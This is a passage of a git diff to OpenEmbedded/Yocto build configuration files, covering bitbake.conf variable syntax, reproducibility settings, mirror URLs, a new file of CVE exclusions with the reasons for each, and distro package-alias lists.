+TARGET_LDFLAGS = "-Wl,-O1 ${TARGET_LINK_HASH_STYLE} ${ASNEEDED} ${DEBUG_PREFIX_MAP}"
# mips does not support GNU hash style therefore we override
-LINKER_HASH_STYLE_mipsarch_libc-musl = "sysv"
+LINKER_HASH_STYLE:mipsarch:libc-musl = "sysv"
# Pass parallel make options to the compile task
-EXTRA_OEMAKE_prepend_task-compile = "${PARALLEL_MAKE} "
+EXTRA_OEMAKE:prepend:task-compile = "${PARALLEL_MAKE} "
PARALLEL_MAKEINST ??= "${PARALLEL_MAKE}"
+PARALLEL_MAKEINST[vardepvalue] = "1"
# Pass parallel make options to the install task
-EXTRA_OEMAKE_prepend_task-install = "${PARALLEL_MAKEINST} "
+EXTRA_OEMAKE:prepend:task-install = "${PARALLEL_MAKEINST} "
##################################################################
# Optimization flags.
@@ -624,6 +629,21 @@ BUILD_OPTIMIZATION = "${@oe.utils.vartrue('DEBUG_BUILD', '-Og -g -feliminate-unu
BUILD_OPTIMIZATION[vardeps] += "DEBUG_BUILD"
##################################################################
+# Reproducibility
+##################################################################
+
+SDE_DIR = "${WORKDIR}/source-date-epoch"
+SDE_FILE = "${SDE_DIR}/__source_date_epoch.txt"
+SDE_DEPLOYDIR = "${WORKDIR}/deploy-source-date-epoch"
+
+export PYTHONHASHSEED = "0"
+export PERL_HASH_SEED = "0"
+export SOURCE_DATE_EPOCH ?= "${@get_source_date_epoch_value(d)}"
+# A SOURCE_DATE_EPOCH of '0' might be misinterpreted as no SDE
+export SOURCE_DATE_EPOCH_FALLBACK ??= "1302044400"
+REPRODUCIBLE_TIMESTAMP_ROOTFS ??= "1520598896"
+
+##################################################################
# Settings used by bitbake-layers.
##################################################################
BBLAYERS_LAYERINDEX_URL ??= "https://layers.openembedded.org/layerindex/"
@@ -634,20 +654,21 @@ BBLAYERS_FETCH_DIR ??= "${COREBASE}"
##################################################################
APACHE_MIRROR = "https://archive.apache.org/dist"
+CPAN_MIRROR = "https://search.cpan.org/CPAN"
DEBIAN_MIRROR = "http://ftp.debian.org/debian/pool"
GENTOO_MIRROR = "http://distfiles.gentoo.org/distfiles"
GNOME_GIT = "git://gitlab.gnome.org/GNOME"
-GNOME_MIRROR = "https://ftp.gnome.org/pub/GNOME/sources"
+GNOME_MIRROR = "https://download.gnome.org/sources/"
GNU_MIRROR = "https://ftp.gnu.org/gnu"
GNUPG_MIRROR = "https://www.gnupg.org/ftp/gcrypt"
GPE_MIRROR = "http://gpe.linuxtogo.org/download/source"
KERNELORG_MIRROR = "https://cdn.kernel.org/pub"
+SAMBA_MIRROR = "http://samba.org/samba/ftp"
+SAVANNAH_GNU_MIRROR = "https://download.savannah.gnu.org/releases"
+SAVANNAH_NONGNU_MIRROR = "https://download.savannah.nongnu.org/releases"
SOURCEFORGE_MIRROR = "https://downloads.sourceforge.net"
XLIBS_MIRROR = "https://xlibs.freedesktop.org/release"
XORG_MIRROR = "https://www.x.org/releases/"
-SAVANNAH_GNU_MIRROR = "https://download.savannah.gnu.org/releases"
-SAVANNAH_NONGNU_MIRROR = "https://download.savannah.nongnu.org/releases"
-CPAN_MIRROR = "https://search.cpan.org/CPAN"
SRC_URI[vardepsexclude] += "\
APACHE_MIRROR \
@@ -660,6 +681,7 @@ SRC_URI[vardepsexclude] += "\
GNUPG_MIRROR \
GPE_MIRROR \
KERNELORG_MIRROR \
+ SAMBA_MIRROR \
SAVANNAH_GNU_MIRROR \
SAVANNAH_NONGNU_MIRROR \
SOURCEFORGE_MIRROR \
@@ -685,17 +707,21 @@ SRC_URI = ""
PSEUDO_LOCALSTATEDIR ?= "${WORKDIR}/pseudo/"
PSEUDO_PASSWD ?= "${STAGING_DIR_TARGET}:${PSEUDO_SYSROOT}"
PSEUDO_SYSROOT = "${COMPONENTS_DIR}/${BUILD_ARCH}/pseudo-native"
-PSEUDO_IGNORE_PATHS = "/usr/,/etc/,/lib,/dev/,${T},${WORKDIR}/recipe-sysroot,${SSTATE_DIR},${STAMPS_DIR},${WORKDIR}/pkgdata-sysroot,${TMPDIR}/sstate-control,${DEPLOY_DIR},${WORKDIR}/deploy-,${TMPDIR}/buildstats,${WORKDIR}/sstate-build-package_,${WORKDIR}/sstate-install-package_,${WORKDIR}/sstate-build-image_complete,${TMPDIR}/sysroots-components,${BUILDHISTORY_DIR},${TMPDIR}/pkgdata,${TOPDIR}/cache,${COREBASE}/scripts,${COREBASE}/meta,${CCACHE_DIR}"
+PSEUDO_IGNORE_PATHS = "/usr/,/etc/,/lib,/dev/,/run/,${T},${WORKDIR}/recipe-sysroot,${SSTATE_DIR},${STAMPS_DIR}"
+PSEUDO_IGNORE_PATHS .= ",${TMPDIR}/sstate-control,${TMPDIR}/buildstats,${TMPDIR}/sysroots-components,${TMPDIR}/pkgdata"
+PSEUDO_IGNORE_PATHS .= ",${WORKDIR}/deploy-,${WORKDIR}/sstate-build-package_,${WORKDIR}/sstate-install-package_,${WORKDIR}/pkgdata-sysroot"
+PSEUDO_IGNORE_PATHS .= ",${DEPLOY_DIR},${BUILDHISTORY_DIR},${TOPDIR}/cache,${COREBASE}/scripts,${CCACHE_DIR}"
export PSEUDO_DISABLED = "1"
#export PSEUDO_PREFIX = "${STAGING_DIR_NATIVE}${prefix_native}"
#export PSEUDO_BINDIR = "${STAGING_DIR_NATIVE}${bindir_native}"
#export PSEUDO_LIBDIR = "${STAGING_DIR_NATIVE}$PSEUDOBINDIR/../lib/pseudo/lib
-FAKEROOTBASEENV = "PSEUDO_BINDIR=${PSEUDO_SYSROOT}${bindir_native} PSEUDO_LIBDIR=${PSEUDO_SYSROOT}${prefix_native}/lib/pseudo/lib PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_IGNORE_PATHS=${PSEUDO_IGNORE_PATHS} PSEUDO_DISABLED=1"
+FAKEROOTBASEENV = "PSEUDO_BINDIR=${PSEUDO_SYSROOT}${bindir_native} PSEUDO_LIBDIR=${PSEUDO_SYSROOT}${prefix_native}/lib/pseudo/lib PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_IGNORE_PATHS=${@oe.path.canonicalize(d.getVar('PSEUDO_IGNORE_PATHS'))} PSEUDO_DISABLED=1 PYTHONDONTWRITEBYTECODE=1"
FAKEROOTCMD = "${PSEUDO_SYSROOT}${bindir_native}/pseudo"
-FAKEROOTENV = "PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_LOCALSTATEDIR=${PSEUDO_LOCALSTATEDIR} PSEUDO_PASSWD=${PSEUDO_PASSWD} PSEUDO_NOSYMLINKEXP=1 PSEUDO_IGNORE_PATHS=${PSEUDO_IGNORE_PATHS} PSEUDO_DISABLED=0"
+FAKEROOTENV = "PSEUDO_PREFIX=${PSEUDO_SYSROOT}${prefix_native} PSEUDO_LOCALSTATEDIR=${PSEUDO_LOCALSTATEDIR} PSEUDO_PASSWD=${PSEUDO_PASSWD} PSEUDO_NOSYMLINKEXP=1 PSEUDO_IGNORE_PATHS=${@oe.path.canonicalize(d.getVar('PSEUDO_IGNORE_PATHS'))} PSEUDO_DISABLED=0"
FAKEROOTNOENV = "PSEUDO_UNLOAD=1"
FAKEROOTDIRS = "${PSEUDO_LOCALSTATEDIR}"
+FAKEROOTLOGS = "${WORKDIR}/pseudo/pseudo.log"
PREFERRED_PROVIDER_virtual/fakeroot-native ?= "pseudo-native"
##################################################################
@@ -734,11 +760,11 @@ DISTRO_NAME ??= "OpenEmbedded"
# Overrides are processed left to right, so the ones that are named later take precedence.
# You generally want them to go from least to most specific. This means that:
-# A variable '<foo>_arm' overrides a variable '<foo>' when ${TARGET_ARCH} is arm.
-# A variable '<foo>_qemuarm' overrides '<foo>' and overrides '<foo>_arm' when ${MACHINE} is 'qemuarm'.
-# If you use combination ie '<foo>_qemuarm_arm', then '<foo>_qemuarm_arm' will override
-# '<foo>_qemuarm' and then '<foo>' will be overriden with that value from '<foo>_qemuarm'.
-# And finally '<foo>_forcevariable' overrides any standard variable, with the highest priority.
+# A variable '<foo>:arm' overrides a variable '<foo>' when ${TARGET_ARCH} is arm.
+# A variable '<foo>:qemuarm' overrides '<foo>' and overrides '<foo>:arm' when ${MACHINE} is 'qemuarm'.
+# If you use combination ie '<foo>:qemuarm:arm', then '<foo>:qemuarm:arm' will override
+# '<foo>:qemuarm' and then '<foo>' will be overriden with that value from '<foo>:qemuarm'.
+# And finally '<foo>:forcevariable' overrides any standard variable, with the highest priority.
# This works for functions as well, they are really just variables.
#
OVERRIDES = "${TARGET_OS}:${TRANSLATED_TARGET_ARCH}:pn-${PN}:${MACHINEOVERRIDES}:${DISTROOVERRIDES}:${CLASSOVERRIDE}${LIBCOVERRIDE}:forcevariable"
@@ -802,9 +828,18 @@ PARALLEL_MAKE ?= "-j ${@oe.utils.cpu_count()}"
# Default parallelism and resource usage for xz
XZ_MEMLIMIT ?= "50%"
XZ_THREADS ?= "${@oe.utils.cpu_count(at_least=2)}"
+XZ_THREADS[vardepvalue] = "1"
XZ_DEFAULTS ?= "--memlimit=${XZ_MEMLIMIT} --threads=${XZ_THREADS}"
XZ_DEFAULTS[vardepsexclude] += "XZ_MEMLIMIT XZ_THREADS"
+# Default parallelism for zstd
+ZSTD_THREADS ?= "${@oe.utils.cpu_count(at_least=2)}"
+ZSTD_THREADS[vardepvalue] = "1"
+
+# Limit the number of threads that OpenMP libraries will use. Otherwise they
+# may fallback to using all CPUs
+export OMP_NUM_THREADS = "${BB_NUMBER_THREADS}"
+
##################################################################
# Magic Cookie for SANITY CHECK
##################################################################
@@ -834,8 +869,8 @@ DISTRO_FEATURES_NATIVESDK ?= "x11"
# Normally target distro features will not be applied to native builds:
# Native distro features on this list will use the target feature value
-DISTRO_FEATURES_FILTER_NATIVE ?= "api-documentation opengl"
-DISTRO_FEATURES_FILTER_NATIVESDK ?= "api-documentation opengl"
+DISTRO_FEATURES_FILTER_NATIVE ?= "api-documentation debuginfod opengl wayland"
+DISTRO_FEATURES_FILTER_NATIVESDK ?= "api-documentation debuginfod opengl wayland"
DISTRO_FEATURES_BACKFILL = "pulseaudio sysvinit gobject-introspection-data ldconfig"
MACHINE_FEATURES_BACKFILL = "rtc qemu-usermode"
@@ -870,6 +905,9 @@ SHELL[unexport] = "1"
# Used by canadian-cross to handle string conversions on TARGET_ARCH where needed
TRANSLATED_TARGET_ARCH ??= "${@d.getVar('TARGET_ARCH').replace("_", "-")}"
+# Set a default umask to use for tasks for determinism
+BB_DEFAULT_UMASK = "022"
+
# Complete output from bitbake
BB_CONSOLELOG ?= "${LOG_DIR}/cooker/${MACHINE}/${DATETIME}.log"
@@ -883,8 +921,10 @@ BB_HASHEXCLUDE_COMMON ?= "TMPDIR FILE PATH PWD BB_TASKHASH BBPATH BBSERVER DL_DI
WARN_QA ERROR_QA WORKDIR STAMPCLEAN PKGDATA_DIR BUILD_ARCH SSTATE_PKGARCH \
BB_WORKERCONTEXT BB_LIMITEDDEPS BB_UNIHASH extend_recipe_sysroot DEPLOY_DIR \
SSTATE_HASHEQUIV_METHOD SSTATE_HASHEQUIV_REPORT_TASKDATA \
- SSTATE_HASHEQUIV_OWNER CCACHE_TOP_DIR BB_HASHSERVE GIT_CEILING_DIRECTORIES"
-BB_HASHBASE_WHITELIST ?= "${BB_HASHEXCLUDE_COMMON} PSEUDO_IGNORE_PATHS BUILDHISTORY_DIR SSTATE_DIR "
+ SSTATE_HASHEQUIV_OWNER CCACHE_TOP_DIR BB_HASHSERVE GIT_CEILING_DIRECTORIES \
+ OMP_NUM_THREADS BB_CURRENTTASK"
+BB_HASHBASE_WHITELIST ?= "${BB_HASHEXCLUDE_COMMON} PSEUDO_IGNORE_PATHS BUILDHISTORY_DIR \
+ SSTATE_DIR SOURCE_DATE_EPOCH"
BB_HASHCONFIG_WHITELIST ?= "${BB_HASHEXCLUDE_COMMON} DATE TIME SSH_AGENT_PID \
SSH_AUTH_SOCK PSEUDO_BUILD BB_ENV_EXTRAWHITE DISABLE_SANITY_CHECKS \
PARALLEL_MAKE BB_NUMBER_THREADS BB_ORIGENV BB_INVALIDCONF BBINCLUDED \
diff --git a/meta/conf/conf-notes.txt b/meta/conf/conf-notes.txt
index 1a9414a040..cfd1f1977b 100644
--- a/meta/conf/conf-notes.txt
+++ b/meta/conf/conf-notes.txt
@@ -11,7 +11,7 @@ Common targets are:
meta-toolchain
meta-ide-support
-You can also run generated qemu images with a command like 'runqemu qemux86'.
+You can also run generated qemu images with a command like 'runqemu qemux86-64'.
Other commonly useful commands are:
- 'devtool' and 'recipetool' handle common recipe tasks
diff --git a/meta/conf/distro/include/cve-extra-exclusions.inc b/meta/conf/distro/include/cve-extra-exclusions.inc
new file mode 100644
index 0000000000..e02a4d1fde
--- /dev/null
+++ b/meta/conf/distro/include/cve-extra-exclusions.inc
@@ -0,0 +1,76 @@
+# This file contains a list of CVE's where resolution has proven to be impractical
+# or there is no reasonable action the Yocto Project can take to resolve the issue.
+# It contains all the information we are aware of about an issue and analysis about
+# why we believe it can't be fixed/handled. Additional information is welcome through
+# patches to the file.
+#
+# Include this file in your local.conf or distro.conf to exclude these CVE's
+# from the cve-check results or add to the bitbake command with:
+# -R conf/distro/include/cve-extra-exclusions.inc
+#
+# The file is not included by default since users should review this data to ensure
+# it matches their expectations and usage of the project.
+#
+# We may also include "in-flight" information about current/ongoing CVE work with
+# the aim of sharing that work and ensuring we don't duplicate it.
+#
+
+
+# strace https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0006
+# CVE is more than 20 years old with no resolution evident
+# broken links in CVE database references make resolution impractical
+CVE_CHECK_WHITELIST += "CVE-2000-0006"
+
+# epiphany https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-0238
+# The issue here is spoofing of domain names using characters from other character sets.
+# There has been much discussion amongst the epiphany and webkit developers and
+# whilst there are improvements about how domains are handled and displayed to the user
+# there is unlikely ever to be a single fix to webkit or epiphany which addresses this
+# problem. Whitelisted as there isn't any mitigation or fix or way to progress this further
+# we can seem to take.
+CVE_CHECK_WHITELIST += "CVE-2005-0238"
+
+# glibc https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-4756
+# Issue is memory exhaustion via glob() calls, e.g. from within an ftp server
+# Best discussion in https://bugzilla.redhat.com/show_bug.cgi?id=681681
+# Upstream don't see it as a security issue, ftp servers shouldn't be passing
+# this to libc glob. Exclude as upstream have no plans to add BSD's GLOB_LIMIT or similar
+CVE_CHECK_WHITELIST += "CVE-2010-4756"
+
+# go https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-29509
+# go https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-29511
+# The encoding/xml package in go can potentially be used for security exploits if not used correctly
+# CVE applies to a netapp product as well as flagging a general issue. We don't ship anything
+# exposing this interface in an exploitable way
+CVE_CHECK_WHITELIST += "CVE-2020-29509 CVE-2020-29511"
+
+# db
+# Since Oracle relicensed bdb, the open source community is slowly but surely replacing bdb with
+# supported and open source friendly alternatives. As a result these CVEs are unlikely to ever be fixed.
+CVE_CHECK_WHITELIST += "CVE-2015-2583 CVE-2015-2624 CVE-2015-2626 CVE-2015-2640 CVE-2015-2654 \
+CVE-2015-2656 CVE-2015-4754 CVE-2015-4764 CVE-2015-4774 CVE-2015-4775 CVE-2015-4776 CVE-2015-4777 \
+CVE-2015-4778 CVE-2015-4779 CVE-2015-4780 CVE-2015-4781 CVE-2015-4782 CVE-2015-4783 CVE-2015-4784 \
+CVE-2015-4785 CVE-2015-4786 CVE-2015-4787 CVE-2015-4788 CVE-2015-4789 CVE-2015-4790 CVE-2016-0682 \
+CVE-2016-0689 CVE-2016-0692 CVE-2016-0694 CVE-2016-3418 CVE-2020-2981"
+
+#### CPE update pending ####
+
+# groff:groff-native https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0803
+# Appears it was fixed in https://git.savannah.gnu.org/cgit/groff.git/commit/?id=07f95f1674217275ed4612f1dcaa95a88435c6a7
+# so from 1.17 onwards. Reported to the database for update by RP 2021/5/9. Update accepted 2021/5/10.
+#CVE_CHECK_WHITELIST += "CVE-2000-0803"
+
+
+
+#### Upstream still working on ####
+
+# qemu:qemu-native:qemu-system-native https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-20255
+# There was a proposed patch https://lists.gnu.org/archive/html/qemu-devel/2021-02/msg06098.html
+# however qemu maintainers are sure the patch is incorrect and should not be applied.
+
+# wget https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-31879
+# https://mail.gnu.org/archive/html/bug-wget/2021-02/msg00002.html
+# No response upstream as of 2021/5/12
+
+
+
diff --git a/meta/conf/distro/include/default-distrovars.inc b/meta/conf/distro/include/default-distrovars.inc
index 433d4b6651..fb0f1097da 100644
--- a/meta/conf/distro/include/default-distrovars.inc
+++ b/meta/conf/distro/include/default-distrovars.inc
@@ -8,9 +8,15 @@ IMAGE_LINGUAS ?= "en-us en-gb"
ENABLE_BINARY_LOCALE_GENERATION ?= "1"
LOCALE_UTF8_ONLY ?= "0"
LOCALE_UTF8_IS_DEFAULT ?= "1"
-LOCALE_UTF8_IS_DEFAULT_class-nativesdk = "0"
+LOCALE_UTF8_IS_DEFAULT:class-nativesdk = "0"
-DISTRO_FEATURES_DEFAULT ?= "acl alsa argp bluetooth ext2 ipv4 ipv6 largefile pcmcia usbgadget usbhost wifi xattr nfs zeroconf pci 3g nfc x11 vfat"
+# seccomp is not yet ported to rv32
+DISTRO_FEATURES_DEFAULT:remove:riscv32 = "seccomp"
+
+# seccomp is not yet ported to ARC
+DISTRO_FEATURES_DEFAULT:remove:arc = "seccomp"
+
+DISTRO_FEATURES_DEFAULT ?= "acl alsa argp bluetooth debuginfod ext2 ipv4 ipv6 largefile pcmcia usbgadget usbhost wifi xattr nfs zeroconf pci 3g nfc x11 vfat seccomp"
DISTRO_FEATURES ?= "${DISTRO_FEATURES_DEFAULT}"
IMAGE_FEATURES ?= ""
@@ -39,13 +45,13 @@ GTK2DISTROFEATURES = "directfb x11"
GTK3DISTROFEATURES = "x11 wayland"
ARCH_DEFAULT_KERNELIMAGETYPE = "zImage"
-ARCH_DEFAULT_KERNELIMAGETYPE_x86 = "bzImage"
-ARCH_DEFAULT_KERNELIMAGETYPE_x86-64 = "bzImage"
+ARCH_DEFAULT_KERNELIMAGETYPE:x86 = "bzImage"
+ARCH_DEFAULT_KERNELIMAGETYPE:x86-64 = "bzImage"
KERNEL_IMAGETYPE ??= "${ARCH_DEFAULT_KERNELIMAGETYPE}"
KERNEL_IMAGETYPES ??= "${KERNEL_IMAGETYPE}"
# The CONNECTIVITY_CHECK_URIS are used to test whether we can succesfully
# fetch from the network (and warn you if not). To disable the test set
# the variable to be empty.
-# Git example url: git://git.yoctoproject.org/yocto-firewall-test;protocol=git;rev=master
+# Git example url: git://git.yoctoproject.org/yocto-firewall-test;protocol=git;rev=master;branch=master
CONNECTIVITY_CHECK_URIS ?= "https://www.example.com/"
diff --git a/meta/conf/distro/include/default-providers.inc b/meta/conf/distro/include/default-providers.inc
index ea88bd4876..6defdca12d 100644
--- a/meta/conf/distro/include/default-providers.inc
+++ b/meta/conf/distro/include/default-providers.inc
@@ -9,6 +9,7 @@ PREFERRED_PROVIDER_virtual/libgl-native ?= "mesa-native"
PREFERRED_PROVIDER_virtual/nativesdk-libgl ?= "nativesdk-mesa"
PREFERRED_PROVIDER_virtual/libgles1 ?= "mesa"
PREFERRED_PROVIDER_virtual/libgles2 ?= "mesa"
+PREFERRED_PROVIDER_virtual/libgles3 ?= "mesa"
PREFERRED_PROVIDER_virtual/mesa ?= "mesa"
PREFERRED_PROVIDER_virtual/update-alternatives ?= "opkg-utils"
PREFERRED_PROVIDER_virtual/update-alternatives-native ?= "opkg-utils-native"
diff --git a/meta/conf/distro/include/default-versions.inc b/meta/conf/distro/include/default-versions.inc
index a6f331350e..a88b65a74c 100644
--- a/meta/conf/distro/include/default-versions.inc
+++ b/meta/conf/distro/include/default-versions.inc
@@ -1,4 +1,3 @@
#
# Default preferred versions
#
-
diff --git a/meta/conf/distro/include/distro_alias.inc b/meta/conf/distro/include/distro_alias.inc
index b4dfcfc5f5..44bc3bf131 100644
--- a/meta/conf/distro/include/distro_alias.inc
+++ b/meta/conf/distro/include/distro_alias.inc
@@ -5,394 +5,383 @@
#
# The format is as a bitbake variable override for each recipe
#
-# DISTRO_PN_ALIAS_pn-<recipe name> = "Distro1=<pkgname> Distro2=<pkgname>"
+# DISTRO_PN_ALIAS:pn-<recipe name> = "Distro1=<pkgname> Distro2=<pkgname>"
#
# Please keep this list in alphabetical order.
#
-DISTRO_PN_ALIAS_pn-alsa-state = "OE-Core"
-DISTRO_PN_ALIAS_pn-alsa-utils-alsaconf = "OE-Core"
-DISTRO_PN_ALIAS_pn-alsa-utils-scripts = "OE-Core"
-DISTRO_PN_ALIAS_pn-atk = "Fedora=atk OpenSuSE=atk"
-DISTRO_PN_ALIAS_pn-avahi-ui = "Ubuntu=avahi-discover Debian=avahi-discover"
-DISTRO_PN_ALIAS_pn-babeltrace = "OSPDT"
-DISTRO_PN_ALIAS_pn-babeltrace2 = "OSPDT"
-DISTRO_PN_ALIAS_pn-bjam = "OpenSuSE=boost-jam Debian=bjam"
-DISTRO_PN_ALIAS_pn-blktool = "Debian=blktool Mandriva=blktool"
-DISTRO_PN_ALIAS_pn-bluez5 = "Fedora=bluez Opensuse=bluez"
-DISTRO_PN_ALIAS_pn-bootchart2 = "Fedora=bootchart2 Opensuse=bootchart"
-DISTRO_PN_ALIAS_pn-btrfs-tools = "Debian=btrfs-tools Fedora=btrfs-progs"
-DISTRO_PN_ALIAS_pn-build-appliance-image = "OSPDT"
-DISTRO_PN_ALIAS_pn-builder = "OE-Core"
-DISTRO_PN_ALIAS_pn-buildtools-tarball = "OE-Core"
-DISTRO_PN_ALIAS_pn-cdrtools = "OpenSUSE=cdrtools OSPDT"
-DISTRO_PN_ALIAS_pn-chkconfig-alternatives = "Mandriva=chkconfig Debian=chkconfig"
-DISTRO_PN_ALIAS_pn-clutter = "Fedora=clutter OpenSuse=clutter Ubuntu=clutter-1.0 Mandriva=clutter Debian=clutter"
-DISTRO_PN_ALIAS_pn-clutter-1.8 = "Fedora=clutter OpenSuse=clutter Ubuntu=clutter-1.0 Mandriva=clutter Debian=clutter"
-DISTRO_PN_ALIAS_pn-clutter-gst-1.0 = "Debian=clutter-gst Ubuntu=clutter-gst Fedora=clutter-gst"
-DISTRO_PN_ALIAS_pn-clutter-gst-1.8 = "Fedora=clutter-gst Debian=libclutter-gst"
-DISTRO_PN_ALIAS_pn-clutter-gst-3.0 = "Ubuntu=libclutter-gst Debian=libclutter-gst"
-DISTRO_PN_ALIAS_pn-clutter-gtk-1.0 = "Debian=clutter-gtk Ubuntu=clutter-gtk Fedora=clutter-gtk"
-DISTRO_PN_ALIAS_pn-clutter-gtk-1.8 = "Fedora=clutter-gtk OpenSuSE=clutter-gtk Ubuntu=clutter-gtk-0.10 Mandriva=clutter-gtk Debian=clutter-gtk"
-DISTRO_PN_ALIAS_pn-cogl-1.0 = "Debian=cogl Ubuntu=cogl Fedora=cogl"
-DISTRO_PN_ALIAS_pn-cogl = "Fedora=cogl OpenSuse=cogl Ubuntu=cogl Mandriva=cogl Debian=cogl"
-DISTRO_PN_ALIAS_pn-connman = "Meego=connman"
-DISTRO_PN_ALIAS_pn-connman-conf = "OE-Core"
-DISTRO_PN_ALIAS_pn-connman-gnome = "Intel"
-DISTRO_PN_ALIAS_pn-console-tools = "Debian=console-tools Ubuntu=console-tools"
-DISTRO_PN_ALIAS_pn-core-image-base = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-clutter = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-full-cmdline = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-kernel-dev = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal-dev = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal-initramfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-minimal-mtdutils = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-rt = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-rt-sdk = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-sato = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-sato-dev = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-sato-sdk = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-testmaster = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-testmaster-initramfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-weston = "OE-Core"
-DISTRO_PN_ALIAS_pn-core-image-x11 = "OE-Core"
-DISTRO_PN_ALIAS_pn-createrepo-c = "Fedora=createrepo_c Clear=createrepo_c"
-DISTRO_PN_ALIAS_pn-cross-localedef = "OSPDT"
-DISTRO_PN_ALIAS_pn-cryptodev-linux = "OE-Core"
-DISTRO_PN_ALIAS_pn-cryptodev-module = "OE-Core"
-DISTRO_PN_ALIAS_pn-cryptodev-tests = "OE-Core"
-DISTRO_PN_ALIAS_pn-cwautomacros = "OSPDT upstream=http://cwautomacros.berlios.de/"
-DISTRO_PN_ALIAS_pn-db = "Debian=db5.1 Ubuntu=db5.1"
-DISTRO_PN_ALIAS_pn-dbus-test = "Fedora=dbus Ubuntu=dbus"
-DISTRO_PN_ALIAS_pn-dbus-wait = "OpenedHand"
-DISTRO_PN_ALIAS_pn-depmodwrapper-cross = "OE-Core"
-DISTRO_PN_ALIAS_pn-distcc = "Debian=distcc Fedora=distcc"
-DISTRO_PN_ALIAS_pn-distcc-config = "OpenedHand"
-DISTRO_PN_ALIAS_pn-docbook-dsssl-stylesheets = "Fedora=docbook-style-dsssl Ubuntu=docbook-dsssl"
-DISTRO_PN_ALIAS_pn-docbook-sgml-dtd-3.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd31-sgml"
-DISTRO_PN_ALIAS_pn-docbook-sgml-dtd-4.1 = "Fedora=docbook-dtds Mandriva=docbook-dtd41-sgml"
-DISTRO_PN_ALIAS_pn-docbook-sgml-dtd-4.5 = "Fedora=docbook-dtds Mandriva=docbook-dtd42-sgml"
-DISTRO_PN_ALIAS_pn-docbook-xml-dtd4 = "Ubuntu=docbook-xml Fedora=docbook-dtds"
-DISTRO_PN_ALIAS_pn-docbook-xml-dtd4-native = "Ubuntu=docbook-xml Fedora=docbook-dtds"
-DISTRO_PN_ALIAS_pn-docbook-xsl-stylesheets = "Fedora=docbook-xsl-stylesheets Opensuse=docbook-xsl-stylesheets"
-DISTRO_PN_ALIAS_pn-dropbear = "Debian=dropbear Ubuntu=dropbear"
-DISTRO_PN_ALIAS_pn-dtc = "Fedora=dtc Ubuntu=dtc"
-DISTRO_PN_ALIAS_pn-encodings = "Ubuntu=xfonts-encodings Mandriva=x11-font-encodings Debian=xfonts-encodings"
-DISTRO_PN_ALIAS_pn-font-alias = "Fedora=xorg-x11-fonts-base Mandriva=x11-font-alias Meego=xorg-x11-fonts"
-DISTRO_PN_ALIAS_pn-font-util = "Meego=xorg-x11-font-utils Fedora=xorg-x11-font-utils Ubuntu=xfonts-utils Mandriva=x11-font-util Debian=xfonts-utils"
-DISTRO_PN_ALIAS_pn-formfactor = "OE-Core"
-DISTRO_PN_ALIAS_pn-gccmakedep = "Mandriva=gccmakedep Ubuntu=xutils-dev"
-DISTRO_PN_ALIAS_pn-gcc-runtime = "Ubuntu=gcc Fedora=gcc"
-DISTRO_PN_ALIAS_pn-gcc-sanitizers = "Ubuntu=gcc Fedora=gcc"
-DISTRO_PN_ALIAS_pn-gcc-source = "Ubuntu=gcc Fedora=gcc"
-DISTRO_PN_ALIAS_pn-gconf-dbus = "Meego=GConf-dbus"
-DISTRO_PN_ALIAS_pn-gdk-pixbuf = "Debian=libgdk-pixbuf2.0 Fedora=gdk-pixbuf"
-DISTRO_PN_ALIAS_pn-gdk-pixbuf-csource = "Debian=libgdk-pixbuf2.0-0 Fedora=gdk-pixbuf2"
-DISTRO_PN_ALIAS_pn-gettext-minimal = "Debian=gettext Fedora=gettext"
-DISTRO_PN_ALIAS_pn-glib-2.0 = "Meego=glib2 Fedora=glib2 OpenSuSE=glib2 Ubuntu=glib2.0 Mandriva=glib2.0 Debian=glib2.0"
-DISTRO_PN_ALIAS_pn-glibc-locale = "OpenSuSE=glibc-locale Fedora=glibc-devel"
-DISTRO_PN_ALIAS_pn-glibc-mtrace = "Fedora=glibc-utils Ubuntu=libc-dev-bin"
-DISTRO_PN_ALIAS_pn-glibc-scripts = "Fedora=glibc Ubuntu=libc-bin"
-DISTRO_PN_ALIAS_pn-gnome-desktop-testing = "Debian=gnome-desktop-testing Fedora=gnome-desktop-testing"
-DISTRO_PN_ALIAS_pn-gnu-config = "OpenedHand"
-DISTRO_PN_ALIAS_pn-gptfdisk = "Fedora=gdisk Ubuntu=gdisk"
-DISTRO_PN_ALIAS_pn-grub-efi = "Debian=grub-efi Fedora=grub2-efi"
-DISTRO_PN_ALIAS_pn-gst-player = "Ubuntu=gst-player Fedora=gstreamer-player"
-DISTRO_PN_ALIAS_pn-gst-plugin-bluetooth = "Ubuntu=libgstreamer-plugins-base Fedora=gstreamer-plugins-base"
-DISTRO_PN_ALIAS_pn-gstreamer1.0 = "Debian=gstreamer1.0 Ubuntu=gstreamer1.0"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-meta-base = "Meego=gstreamer Fedora=gstreamer OpenSuSE=gstreamer Ubuntu=gstreamer0.10"
